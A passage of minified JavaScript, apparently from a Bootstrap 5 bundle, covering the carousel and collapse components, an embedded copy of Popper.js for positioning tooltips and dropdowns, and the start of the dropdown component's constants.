re(this._element,e)}_keydown(e){if(/input|textarea/i.test(e.target.tagName))return;const t=Ee[e.key];t&&(e.preventDefault(),this._slide(this._directionToOrder(t)))}_getItemIndex(e){return this._getItems().indexOf(e)}_setActiveIndicatorElement(e){if(!this._indicatorsElement)return;const t=q.findOne(_e,this._indicatorsElement);t.classList.remove(we),t.removeAttribute("aria-current");const n=q.findOne(`[data-bs-slide-to="${e}"]`,this._indicatorsElement);n&&(n.classList.add(we),n.setAttribute("aria-current","true"))}_updateInterval(){const e=this._activeElement||this._getActive();if(!e)return;const t=Number.parseInt(e.getAttribute("data-bs-interval"),10);this._config.interval=t||this._config.defaultInterval}_slide(e,t=null){if(this._isSliding)return;const n=this._getActive(),i=e===ae,r=t||y(this._getItems(),n,i,this._config.wrap);if(r===n)return;const s=this._getItemIndex(r),o=t=>I.trigger(this._element,t,{relatedTarget:r,direction:this._orderToDirection(e),from:this._getItemIndex(n),to:s});if(o(de).defaultPrevented)return;if(!n||!r)return;const a=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(s),this._activeElement=r;const l=i?"carousel-item-start":"carousel-item-end",c=i?"carousel-item-next":"carousel-item-prev";r.classList.add(c),d(r),n.classList.add(l),r.classList.add(l),this._queueCallback((()=>{r.classList.remove(l,c),r.classList.add(we),n.classList.remove(we,c,l),this._isSliding=!1,o(pe)}),n,this._isAnimated()),a&&this.cycle()}_isAnimated(){return this._element.classList.contains("slide")}_getActive(){return q.findOne(Te,this._element)}_getItems(){return q.find(xe,this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(e){return f()?e===ce?le:ae:e===ce?ae:le}_orderToDirection(e){return f()?e===le?ce:ue:e===le?ue:ce}static jQueryInterface(e){return this.each((function(){const t=Me.getOrCreateInstance(this,e);if("number"!=typeof e){if("string"==typeof e){if(void 0===t[e]||e.startsWith("_")||"constructor"===e)throw new TypeError(`No method named "${e}"`);t[e]()}}else t.to(e)}))}}I.on(document,ye,"[data-bs-slide], [data-bs-slide-to]",(function(e){const t=q.getElementFromSelector(this);if(!t||!t.classList.contains(be))return;e.preventDefault();const n=Me.getOrCreateInstance(t),i=this.getAttribute("data-bs-slide-to");return i?(n.to(i),void n._maybeEnableCycle()):"next"===$.getDataAttribute(this,"slide")?(n.next(),void n._maybeEnableCycle()):(n.prev(),void n._maybeEnableCycle())})),I.on(window,ve,(()=>{const e=q.find('[data-bs-ride="carousel"]');for(const t of e)Me.getOrCreateInstance(t)})),m(Me);const ke=".bs.collapse",Ae=`show${ke}`,Oe=`shown${ke}`,Pe=`hide${ke}`,Le=`hidden${ke}`,De=`click${ke}.data-api`,Ie="show",ze="collapse",Ne="collapsing",Re=`:scope .${ze} .${ze}`,$e='[data-bs-toggle="collapse"]',Fe={parent:null,toggle:!0},je={parent:"(null|element)",toggle:"boolean"};class He extends j{constructor(e,t){super(e,t),this._isTransitioning=!1,this._triggerArray=[];const n=q.find($e);for(const e of n){const t=q.getSelectorFromElement(e),n=q.find(t).filter((e=>e===this._element));null!==t&&n.length&&this._triggerArray.push(e)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return Fe}static get DefaultType(){return je}static get NAME(){return"collapse"}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let e=[];if(this._config.parent&&(e=this._getFirstLevelChildren(".collapse.show, .collapse.collapsing").filter((e=>e!==this._element)).map((e=>He.getOrCreateInstance(e,{toggle:!1})))),e.length&&e[0]._isTransitioning)return;if(I.trigger(this._element,Ae).defaultPrevented)return;for(const t of e)t.hide();const t=this._getDimension();this._element.classList.remove(ze),this._element.classList.add(Ne),this._element.style[t]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const n=`scroll${t[0].toUpperCase()+t.slice(1)}`;this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(Ne),this._element.classList.add(ze,Ie),this._element.style[t]="",I.trigger(this._element,Oe)}),this._element,!0),this._element.style[t]=`${this._element[n]}px`}hide(){if(this._isTransitioning||!this._isShown())return;if(I.trigger(this._element,Pe).defaultPrevented)return;const e=this._getDimension();this._element.style[e]=`${this._element.getBoundingClientRect()[e]}px`,d(this._element),this._element.classList.add(Ne),this._element.classList.remove(ze,Ie);for(const e of this._triggerArray){const t=q.getElementFromSelector(e);t&&!this._isShown(t)&&this._addAriaAndCollapsedClass([e],!1)}this._isTransitioning=!0,this._element.style[e]="",this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(Ne),this._element.classList.add(ze),I.trigger(this._element,Le)}),this._element,!0)}_isShown(e=this._element){return e.classList.contains(Ie)}_configAfterMerge(e){return e.toggle=Boolean(e.toggle),e.parent=o(e.parent),e}_getDimension(){return this._element.classList.contains("collapse-horizontal")?"width":"height"}_initializeChildren(){if(!this._config.parent)return;const e=this._getFirstLevelChildren($e);for(const t of e){const e=q.getElementFromSelector(t);e&&this._addAriaAndCollapsedClass([t],this._isShown(e))}}_getFirstLevelChildren(e){const t=q.find(Re,this._config.parent);return q.find(e,this._config.parent).filter((e=>!t.includes(e)))}_addAriaAndCollapsedClass(e,t){if(e.length)for(const n of e)n.classList.toggle("collapsed",!t),n.setAttribute("aria-expanded",t)}static jQueryInterface(e){const t={};return"string"==typeof e&&/show|hide/.test(e)&&(t.toggle=!1),this.each((function(){const n=He.getOrCreateInstance(this,t);if("string"==typeof e){if(void 0===n[e])throw new TypeError(`No method named "${e}"`);n[e]()}}))}}I.on(document,De,$e,(function(e){("A"===e.target.tagName||e.delegateTarget&&"A"===e.delegateTarget.tagName)&&e.preventDefault();for(const e of q.getMultipleElementsFromSelector(this))He.getOrCreateInstance(e,{toggle:!1}).toggle()})),m(He);var qe="top",Be="bottom",We="right",Xe="left",Ye="auto",Ge=[qe,Be,We,Xe],Ve="start",Ue="end",Ze="clippingParents",Ke="viewport",Qe="popper",Je="reference",et=Ge.reduce((function(e,t){return e.concat([t+"-"+Ve,t+"-"+Ue])}),[]),tt=[].concat(Ge,[Ye]).reduce((function(e,t){return e.concat([t,t+"-"+Ve,t+"-"+Ue])}),[]),nt="beforeRead",rt="afterRead",st="beforeMain",at="afterMain",lt="beforeWrite",ut="afterWrite",dt=[nt,"read",rt,st,"main",at,lt,"write",ut];function pt(e){return e?(e.nodeName||"").toLowerCase():null}function ht(e){if(null==e)return window;if("[object Window]"!==e.toString()){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function ft(e){return e instanceof ht(e).Element||e instanceof Element}function mt(e){return e instanceof ht(e).HTMLElement||e instanceof HTMLElement}function gt(e){return"undefined"!=typeof ShadowRoot&&(e instanceof ht(e).ShadowRoot||e instanceof ShadowRoot)}const vt={name:"applyStyles",enabled:!0,phase:"write",fn:function(e){var t=e.state;Object.keys(t.elements).forEach((function(e){var n=t.styles[e]||{},i=t.attributes[e]||{},r=t.elements[e];mt(r)&&pt(r)&&(Object.assign(r.style,n),Object.keys(i).forEach((function(e){var t=i[e];!1===t?r.removeAttribute(e):r.setAttribute(e,!0===t?"":t)})))}))},effect:function(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(t.elements.popper.style,n.popper),t.styles=n,t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow),function(){Object.keys(t.elements).forEach((function(e){var i=t.elements[e],r=t.attributes[e]||{},s=Object.keys(t.styles.hasOwnProperty(e)?t.styles[e]:n[e]).reduce((function(e,t){return e[t]="",e}),{});mt(i)&&pt(i)&&(Object.assign(i.style,s),Object.keys(r).forEach((function(e){i.removeAttribute(e)})))}))}},requires:["computeStyles"]};function yt(e){return e.split("-")[0]}var bt=Math.max,wt=Math.min,_t=Math.round;function xt(){var e=navigator.userAgentData;return null!=e&&e.brands&&Array.isArray(e.brands)?e.brands.map((function(e){return e.brand+"/"+e.version})).join(" "):navigator.userAgent}function Tt(){return!/^((?!chrome|android).)*safari/i.test(xt())}function Et(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1);var i=e.getBoundingClientRect(),r=1,s=1;t&&mt(e)&&(r=e.offsetWidth>0&&_t(i.width)/e.offsetWidth||1,s=e.offsetHeight>0&&_t(i.height)/e.offsetHeight||1);var o=(ft(e)?ht(e):window).visualViewport,a=!Tt()&&n,l=(i.left+(a&&o?o.offsetLeft:0))/r,c=(i.top+(a&&o?o.offsetTop:0))/s,u=i.width/r,d=i.height/s;return{width:u,height:d,top:c,right:l+u,bottom:c+d,left:l,x:l,y:c}}function St(e){var t=Et(e),n=e.offsetWidth,i=e.offsetHeight;return Math.abs(t.width-n)<=1&&(n=t.width),Math.abs(t.height-i)<=1&&(i=t.height),{x:e.offsetLeft,y:e.offsetTop,width:n,height:i}}function Ct(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&gt(n)){var i=t;do{if(i&&e.isSameNode(i))return!0;i=i.parentNode||i.host}while(i)}return!1}function Mt(e){return ht(e).getComputedStyle(e)}function kt(e){return["table","td","th"].indexOf(pt(e))>=0}function At(e){return((ft(e)?e.ownerDocument:e.document)||window.document).documentElement}function Ot(e){return"html"===pt(e)?e:e.assignedSlot||e.parentNode||(gt(e)?e.host:null)||At(e)}function Pt(e){return mt(e)&&"fixed"!==Mt(e).position?e.offsetParent:null}function Lt(e){for(var t=ht(e),n=Pt(e);n&&kt(n)&&"static"===Mt(n).position;)n=Pt(n);return n&&("html"===pt(n)||"body"===pt(n)&&"static"===Mt(n).position)?t:n||function(e){var t=/firefox/i.test(xt());if(/Trident/i.test(xt())&&mt(e)&&"fixed"===Mt(e).position)return null;var n=Ot(e);for(gt(n)&&(n=n.host);mt(n)&&["html","body"].indexOf(pt(n))<0;){var i=Mt(n);if("none"!==i.transform||"none"!==i.perspective||"paint"===i.contain||-1!==["transform","perspective"].indexOf(i.willChange)||t&&"filter"===i.willChange||t&&i.filter&&"none"!==i.filter)return n;n=n.parentNode}return null}(e)||t}function Dt(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function It(e,t,n){return bt(e,wt(t,n))}function zt(e){return Object.assign({},{top:0,right:0,bottom:0,left:0},e)}function Nt(e,t){return t.reduce((function(t,n){return t[n]=e,t}),{})}const Rt={name:"arrow",enabled:!0,phase:"main",fn:function(e){var t,n=e.state,i=e.name,r=e.options,s=n.elements.arrow,o=n.modifiersData.popperOffsets,a=yt(n.placement),l=Dt(a),c=[Xe,We].indexOf(a)>=0?"height":"width";if(s&&o){var u=function(e,t){return zt("number"!=typeof(e="function"==typeof e?e(Object.assign({},t.rects,{placement:t.placement})):e)?e:Nt(e,Ge))}(r.padding,n),d=St(s),p="y"===l?qe:Xe,h="y"===l?Be:We,f=n.rects.reference[c]+n.rects.reference[l]-o[l]-n.rects.popper[c],m=o[l]-n.rects.reference[l],g=Lt(s),v=g?"y"===l?g.clientHeight||0:g.clientWidth||0:0,y=f/2-m/2,b=u[p],w=v-d[c]-u[h],_=v/2-d[c]/2+y,x=It(b,_,w),T=l;n.modifiersData[i]=((t={})[T]=x,t.centerOffset=x-_,t)}},effect:function(e){var t=e.state,n=e.options.element,i=void 0===n?"[data-popper-arrow]":n;null!=i&&("string"!=typeof i||(i=t.elements.popper.querySelector(i)))&&Ct(t.elements.popper,i)&&(t.elements.arrow=i)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]};function $t(e){return e.split("-")[1]}var Ft={top:"auto",right:"auto",bottom:"auto",left:"auto"};function jt(e){var t,n=e.popper,i=e.popperRect,r=e.placement,s=e.variation,o=e.offsets,a=e.position,l=e.gpuAcceleration,c=e.adaptive,u=e.roundOffsets,d=e.isFixed,p=o.x,h=void 0===p?0:p,f=o.y,m=void 0===f?0:f,g="function"==typeof u?u({x:h,y:m}):{x:h,y:m};h=g.x,m=g.y;var v=o.hasOwnProperty("x"),y=o.hasOwnProperty("y"),b=Xe,w=qe,_=window;if(c){var x=Lt(n),T="clientHeight",E="clientWidth";x===ht(n)&&"static"!==Mt(x=At(n)).position&&"absolute"===a&&(T="scrollHeight",E="scrollWidth"),(r===qe||(r===Xe||r===We)&&s===Ue)&&(w=Be,m-=(d&&x===_&&_.visualViewport?_.visualViewport.height:x[T])-i.height,m*=l?1:-1),r!==Xe&&(r!==qe&&r!==Be||s!==Ue)||(b=We,h-=(d&&x===_&&_.visualViewport?_.visualViewport.width:x[E])-i.width,h*=l?1:-1)}var S,C=Object.assign({position:a},c&&Ft),M=!0===u?function(e,t){var n=e.x,i=e.y,r=t.devicePixelRatio||1;return{x:_t(n*r)/r||0,y:_t(i*r)/r||0}}({x:h,y:m},ht(n)):{x:h,y:m};return h=M.x,m=M.y,l?Object.assign({},C,((S={})[w]=y?"0":"",S[b]=v?"0":"",S.transform=(_.devicePixelRatio||1)<=1?"translate("+h+"px, "+m+"px)":"translate3d("+h+"px, "+m+"px, 0)",S)):Object.assign({},C,((t={})[w]=y?m+"px":"",t[b]=v?h+"px":"",t.transform="",t))}const Ht={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(e){var t=e.state,n=e.options,i=n.gpuAcceleration,r=void 0===i||i,s=n.adaptive,o=void 0===s||s,a=n.roundOffsets,l=void 0===a||a,c={placement:yt(t.placement),variation:$t(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:r,isFixed:"fixed"===t.options.strategy};null!=t.modifiersData.popperOffsets&&(t.styles.popper=Object.assign({},t.styles.popper,jt(Object.assign({},c,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:o,roundOffsets:l})))),null!=t.modifiersData.arrow&&(t.styles.arrow=Object.assign({},t.styles.arrow,jt(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}};var qt={passive:!0};const Bt={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(e){var t=e.state,n=e.instance,i=e.options,r=i.scroll,s=void 0===r||r,o=i.resize,a=void 0===o||o,l=ht(t.elements.popper),c=[].concat(t.scrollParents.reference,t.scrollParents.popper);return s&&c.forEach((function(e){e.addEventListener("scroll",n.update,qt)})),a&&l.addEventListener("resize",n.update,qt),function(){s&&c.forEach((function(e){e.removeEventListener("scroll",n.update,qt)})),a&&l.removeEventListener("resize",n.update,qt)}},data:{}};var Wt={left:"right",right:"left",bottom:"top",top:"bottom"};function Xt(e){return e.replace(/left|right|bottom|top/g,(function(e){return Wt[e]}))}var Yt={start:"end",end:"start"};function Gt(e){return e.replace(/start|end/g,(function(e){return Yt[e]}))}function Vt(e){var t=ht(e);return{scrollLeft:t.pageXOffset,scrollTop:t.pageYOffset}}function Ut(e){return Et(At(e)).left+Vt(e).scrollLeft}function Zt(e){var t=Mt(e),n=t.overflow,i=t.overflowX,r=t.overflowY;return/auto|scroll|overlay|hidden/.test(n+r+i)}function Kt(e){return["html","body","#document"].indexOf(pt(e))>=0?e.ownerDocument.body:mt(e)&&Zt(e)?e:Kt(Ot(e))}function Qt(e,t){var n;void 0===t&&(t=[]);var i=Kt(e),r=i===(null==(n=e.ownerDocument)?void 0:n.body),s=ht(i),o=r?[s].concat(s.visualViewport||[],Zt(i)?i:[]):i,a=t.concat(o);return r?a:a.concat(Qt(Ot(o)))}function Jt(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function en(e,t,n){return t===Ke?Jt(function(e,t){var n=ht(e),i=At(e),r=n.visualViewport,s=i.clientWidth,o=i.clientHeight,a=0,l=0;if(r){s=r.width,o=r.height;var c=Tt();(c||!c&&"fixed"===t)&&(a=r.offsetLeft,l=r.offsetTop)}return{width:s,height:o,x:a+Ut(e),y:l}}(e,n)):ft(t)?function(e,t){var n=Et(e,!1,"fixed"===t);return n.top=n.top+e.clientTop,n.left=n.left+e.clientLeft,n.bottom=n.top+e.clientHeight,n.right=n.left+e.clientWidth,n.width=e.clientWidth,n.height=e.clientHeight,n.x=n.left,n.y=n.top,n}(t,n):Jt(function(e){var t,n=At(e),i=Vt(e),r=null==(t=e.ownerDocument)?void 0:t.body,s=bt(n.scrollWidth,n.clientWidth,r?r.scrollWidth:0,r?r.clientWidth:0),o=bt(n.scrollHeight,n.clientHeight,r?r.scrollHeight:0,r?r.clientHeight:0),a=-i.scrollLeft+Ut(e),l=-i.scrollTop;return"rtl"===Mt(r||n).direction&&(a+=bt(n.clientWidth,r?r.clientWidth:0)-s),{width:s,height:o,x:a,y:l}}(At(e)))}function tn(e){var t,n=e.reference,i=e.element,r=e.placement,s=r?yt(r):null,o=r?$t(r):null,a=n.x+n.width/2-i.width/2,l=n.y+n.height/2-i.height/2;switch(s){case qe:t={x:a,y:n.y-i.height};break;case Be:t={x:a,y:n.y+n.height};break;case We:t={x:n.x+n.width,y:l};break;case Xe:t={x:n.x-i.width,y:l};break;default:t={x:n.x,y:n.y}}var c=s?Dt(s):null;if(null!=c){var u="y"===c?"height":"width";switch(o){case Ve:t[c]=t[c]-(n[u]/2-i[u]/2);break;case Ue:t[c]=t[c]+(n[u]/2-i[u]/2)}}return t}function nn(e,t){void 0===t&&(t={});var n=t,i=n.placement,r=void 0===i?e.placement:i,s=n.strategy,o=void 0===s?e.strategy:s,a=n.boundary,l=void 0===a?Ze:a,c=n.rootBoundary,u=void 0===c?Ke:c,d=n.elementContext,p=void 0===d?Qe:d,h=n.altBoundary,f=void 0!==h&&h,m=n.padding,g=void 0===m?0:m,v=zt("number"!=typeof g?g:Nt(g,Ge)),y=p===Qe?Je:Qe,b=e.rects.popper,w=e.elements[f?y:p],_=function(e,t,n,i){var r="clippingParents"===t?function(e){var t=Qt(Ot(e)),n=["absolute","fixed"].indexOf(Mt(e).position)>=0&&mt(e)?Lt(e):e;return ft(n)?t.filter((function(e){return ft(e)&&Ct(e,n)&&"body"!==pt(e)})):[]}(e):[].concat(t),s=[].concat(r,[n]),o=s[0],a=s.reduce((function(t,n){var r=en(e,n,i);return t.top=bt(r.top,t.top),t.right=wt(r.right,t.right),t.bottom=wt(r.bottom,t.bottom),t.left=bt(r.left,t.left),t}),en(e,o,i));return a.width=a.right-a.left,a.height=a.bottom-a.top,a.x=a.left,a.y=a.top,a}(ft(w)?w:w.contextElement||At(e.elements.popper),l,u,o),x=Et(e.elements.reference),T=tn({reference:x,element:b,strategy:"absolute",placement:r}),E=Jt(Object.assign({},b,T)),S=p===Qe?E:x,C={top:_.top-S.top+v.top,bottom:S.bottom-_.bottom+v.bottom,left:_.left-S.left+v.left,right:S.right-_.right+v.right},M=e.modifiersData.offset;if(p===Qe&&M){var k=M[r];Object.keys(C).forEach((function(e){var t=[We,Be].indexOf(e)>=0?1:-1,n=[qe,Be].indexOf(e)>=0?"y":"x";C[e]+=k[n]*t}))}return C}const rn={name:"flip",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,i=e.name;if(!t.modifiersData[i]._skip){for(var r=n.mainAxis,s=void 0===r||r,o=n.altAxis,a=void 0===o||o,l=n.fallbackPlacements,c=n.padding,u=n.boundary,d=n.rootBoundary,p=n.altBoundary,h=n.flipVariations,f=void 0===h||h,m=n.allowedAutoPlacements,g=t.options.placement,v=yt(g),y=l||(v!==g&&f?function(e){if(yt(e)===Ye)return[];var t=Xt(e);return[Gt(e),t,Gt(t)]}(g):[Xt(g)]),b=[g].concat(y).reduce((function(e,n){return e.concat(yt(n)===Ye?function(e,t){void 0===t&&(t={});var n=t,i=n.placement,r=n.boundary,s=n.rootBoundary,o=n.padding,a=n.flipVariations,l=n.allowedAutoPlacements,c=void 0===l?tt:l,u=$t(i),d=u?a?et:et.filter((function(e){return $t(e)===u})):Ge,p=d.filter((function(e){return c.indexOf(e)>=0}));0===p.length&&(p=d);var h=p.reduce((function(t,n){return t[n]=nn(e,{placement:n,boundary:r,rootBoundary:s,padding:o})[yt(n)],t}),{});return Object.keys(h).sort((function(e,t){return h[e]-h[t]}))}(t,{placement:n,boundary:u,rootBoundary:d,padding:c,flipVariations:f,allowedAutoPlacements:m}):n)}),[]),w=t.rects.reference,_=t.rects.popper,x=new Map,T=!0,E=b[0],S=0;S<b.length;S++){var C=b[S],M=yt(C),k=$t(C)===Ve,A=[qe,Be].indexOf(M)>=0,O=A?"width":"height",P=nn(t,{placement:C,boundary:u,rootBoundary:d,altBoundary:p,padding:c}),L=A?k?We:Xe:k?Be:qe;w[O]>_[O]&&(L=Xt(L));var D=Xt(L),I=[];if(s&&I.push(P[M]<=0),a&&I.push(P[L]<=0,P[D]<=0),I.every((function(e){return e}))){E=C,T=!1;break}x.set(C,I)}if(T)for(var z=function(e){var t=b.find((function(t){var n=x.get(t);if(n)return n.slice(0,e).every((function(e){return e}))}));if(t)return E=t,"break"},N=f?3:1;N>0&&"break"!==z(N);N--);t.placement!==E&&(t.modifiersData[i]._skip=!0,t.placement=E,t.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function sn(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function on(e){return[qe,We,Be,Xe].some((function(t){return e[t]>=0}))}const an={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(e){var t=e.state,n=e.name,i=t.rects.reference,r=t.rects.popper,s=t.modifiersData.preventOverflow,o=nn(t,{elementContext:"reference"}),a=nn(t,{altBoundary:!0}),l=sn(o,i),c=sn(a,r,s),u=on(l),d=on(c);t.modifiersData[n]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:u,hasPopperEscaped:d},t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":u,"data-popper-escaped":d})}},ln={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(e){var t=e.state,n=e.options,i=e.name,r=n.offset,s=void 0===r?[0,0]:r,o=tt.reduce((function(e,n){return e[n]=function(e,t,n){var i=yt(e),r=[Xe,qe].indexOf(i)>=0?-1:1,s="function"==typeof n?n(Object.assign({},t,{placement:e})):n,o=s[0],a=s[1];return o=o||0,a=(a||0)*r,[Xe,We].indexOf(i)>=0?{x:a,y:o}:{x:o,y:a}}(n,t.rects,s),e}),{}),a=o[t.placement],l=a.x,c=a.y;null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=l,t.modifiersData.popperOffsets.y+=c),t.modifiersData[i]=o}},cn={name:"popperOffsets",enabled:!0,phase:"read",fn:function(e){var t=e.state,n=e.name;t.modifiersData[n]=tn({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})},data:{}},un={name:"preventOverflow",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,i=e.name,r=n.mainAxis,s=void 0===r||r,o=n.altAxis,a=void 0!==o&&o,l=n.boundary,c=n.rootBoundary,u=n.altBoundary,d=n.padding,p=n.tether,h=void 0===p||p,f=n.tetherOffset,m=void 0===f?0:f,g=nn(t,{boundary:l,rootBoundary:c,padding:d,altBoundary:u}),v=yt(t.placement),y=$t(t.placement),b=!y,w=Dt(v),_="x"===w?"y":"x",x=t.modifiersData.popperOffsets,T=t.rects.reference,E=t.rects.popper,S="function"==typeof m?m(Object.assign({},t.rects,{placement:t.placement})):m,C="number"==typeof S?{mainAxis:S,altAxis:S}:Object.assign({mainAxis:0,altAxis:0},S),M=t.modifiersData.offset?t.modifiersData.offset[t.placement]:null,k={x:0,y:0};if(x){if(s){var A,O="y"===w?qe:Xe,P="y"===w?Be:We,L="y"===w?"height":"width",D=x[w],I=D+g[O],z=D-g[P],N=h?-E[L]/2:0,R=y===Ve?T[L]:E[L],$=y===Ve?-E[L]:-T[L],F=t.elements.arrow,j=h&&F?St(F):{width:0,height:0},H=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},q=H[O],B=H[P],W=It(0,T[L],j[L]),X=b?T[L]/2-N-W-q-C.mainAxis:R-W-q-C.mainAxis,Y=b?-T[L]/2+N+W+B+C.mainAxis:$+W+B+C.mainAxis,G=t.elements.arrow&&Lt(t.elements.arrow),V=G?"y"===w?G.clientTop||0:G.clientLeft||0:0,U=null!=(A=null==M?void 0:M[w])?A:0,Z=D+Y-U,K=It(h?wt(I,D+X-U-V):I,D,h?bt(z,Z):z);x[w]=K,k[w]=K-D}if(a){var Q,J="x"===w?qe:Xe,ee="x"===w?Be:We,te=x[_],ne="y"===_?"height":"width",ie=te+g[J],re=te-g[ee],se=-1!==[qe,Xe].indexOf(v),oe=null!=(Q=null==M?void 0:M[_])?Q:0,ae=se?ie:te-T[ne]-E[ne]-oe+C.altAxis,le=se?te+T[ne]+E[ne]-oe-C.altAxis:re,ce=h&&se?function(e,t,n){var i=It(e,t,n);return i>n?n:i}(ae,te,le):It(h?ae:ie,te,h?le:re);x[_]=ce,k[_]=ce-te}t.modifiersData[i]=k}},requiresIfExists:["offset"]};function dn(e,t,n){void 0===n&&(n=!1);var i,r,s=mt(t),o=mt(t)&&function(e){var t=e.getBoundingClientRect(),n=_t(t.width)/e.offsetWidth||1,i=_t(t.height)/e.offsetHeight||1;return 1!==n||1!==i}(t),a=At(t),l=Et(e,o,n),c={scrollLeft:0,scrollTop:0},u={x:0,y:0};return(s||!s&&!n)&&(("body"!==pt(t)||Zt(a))&&(c=(i=t)!==ht(i)&&mt(i)?{scrollLeft:(r=i).scrollLeft,scrollTop:r.scrollTop}:Vt(i)),mt(t)?((u=Et(t,!0)).x+=t.clientLeft,u.y+=t.clientTop):a&&(u.x=Ut(a))),{x:l.left+c.scrollLeft-u.x,y:l.top+c.scrollTop-u.y,width:l.width,height:l.height}}function pn(e){var t=new Map,n=new Set,i=[];function r(e){n.add(e.name),[].concat(e.requires||[],e.requiresIfExists||[]).forEach((function(e){if(!n.has(e)){var i=t.get(e);i&&r(i)}})),i.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)||r(e)})),i}var hn={placement:"bottom",modifiers:[],strategy:"absolute"};function fn(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return!t.some((function(e){return!(e&&"function"==typeof e.getBoundingClientRect)}))}function mn(e){void 0===e&&(e={});var t=e,n=t.defaultModifiers,i=void 0===n?[]:n,r=t.defaultOptions,s=void 0===r?hn:r;return function(e,t,n){void 0===n&&(n=s);var r,o,a={placement:"bottom",orderedModifiers:[],options:Object.assign({},hn,s),modifiersData:{},elements:{reference:e,popper:t},attributes:{},styles:{}},l=[],c=!1,u={state:a,setOptions:function(n){var r="function"==typeof n?n(a.options):n;d(),a.options=Object.assign({},s,a.options,r),a.scrollParents={reference:ft(e)?Qt(e):e.contextElement?Qt(e.contextElement):[],popper:Qt(t)};var o,c,p=function(e){var t=pn(e);return dt.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((o=[].concat(i,a.options.modifiers),c=o.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t,e}),{}),Object.keys(c).map((function(e){return c[e]}))));return a.orderedModifiers=p.filter((function(e){return e.enabled})),a.orderedModifiers.forEach((function(e){var t=e.name,n=e.options,i=void 0===n?{}:n,r=e.effect;if("function"==typeof r){var s=r({state:a,name:t,instance:u,options:i});l.push(s||function(){})}})),u.update()},forceUpdate:function(){if(!c){var e=a.elements,t=e.reference,n=e.popper;if(fn(t,n)){a.rects={reference:dn(t,Lt(n),"fixed"===a.options.strategy),popper:St(n)},a.reset=!1,a.placement=a.options.placement,a.orderedModifiers.forEach((function(e){return a.modifiersData[e.name]=Object.assign({},e.data)}));for(var i=0;i<a.orderedModifiers.length;i++)if(!0!==a.reset){var r=a.orderedModifiers[i],s=r.fn,o=r.options,l=void 0===o?{}:o,d=r.name;"function"==typeof s&&(a=s({state:a,options:l,name:d,instance:u})||a)}else a.reset=!1,i=-1}}},update:(r=function(){return new Promise((function(e){u.forceUpdate(),e(a)}))},function(){return o||(o=new Promise((function(e){Promise.resolve().then((function(){o=void 0,e(r())}))}))),o}),destroy:function(){d(),c=!0}};if(!fn(e,t))return u;function d(){l.forEach((function(e){return e()})),l=[]}return u.setOptions(n).then((function(e){!c&&n.onFirstUpdate&&n.onFirstUpdate(e)})),u}}var gn=mn(),vn=mn({defaultModifiers:[Bt,cn,Ht,vt]}),yn=mn({defaultModifiers:[Bt,cn,Ht,vt,ln,rn,un,Rt,an]});const bn=Object.freeze(Object.defineProperty({__proto__:null,afterMain:at,afterRead:rt,afterWrite:ut,applyStyles:vt,arrow:Rt,auto:Ye,basePlacements:Ge,beforeMain:st,beforeRead:nt,beforeWrite:lt,bottom:Be,clippingParents:Ze,computeStyles:Ht,createPopper:yn,createPopperBase:gn,createPopperLite:vn,detectOverflow:nn,end:Ue,eventListeners:Bt,flip:rn,hide:an,left:Xe,main:"main",modifierPhases:dt,offset:ln,placements:tt,popper:Qe,popperGenerator:mn,popperOffsets:cn,preventOverflow:un,read:"read",reference:Je,right:We,start:Ve,top:qe,variationPlacements:et,viewport:Ke,write:"write"},Symbol.toStringTag,{value:"Module"})),wn="dropdown",_n=".bs.dropdown",xn=".data-api",Tn="ArrowUp",En="ArrowDown",Sn=`hide${_n}`,Cn=`hidden${_n}`,Mn=`show${_n}`,kn=`shown${_n}`,An=`click${_n}${xn}`,On=`keydown${_n}${xn}`,Pn=`keyup${_n}${xn}`,Ln="show",Dn='[data-bs-toggle="dropdown"]:not(.disabled):not(:disabled)',In=`${Dn}.${L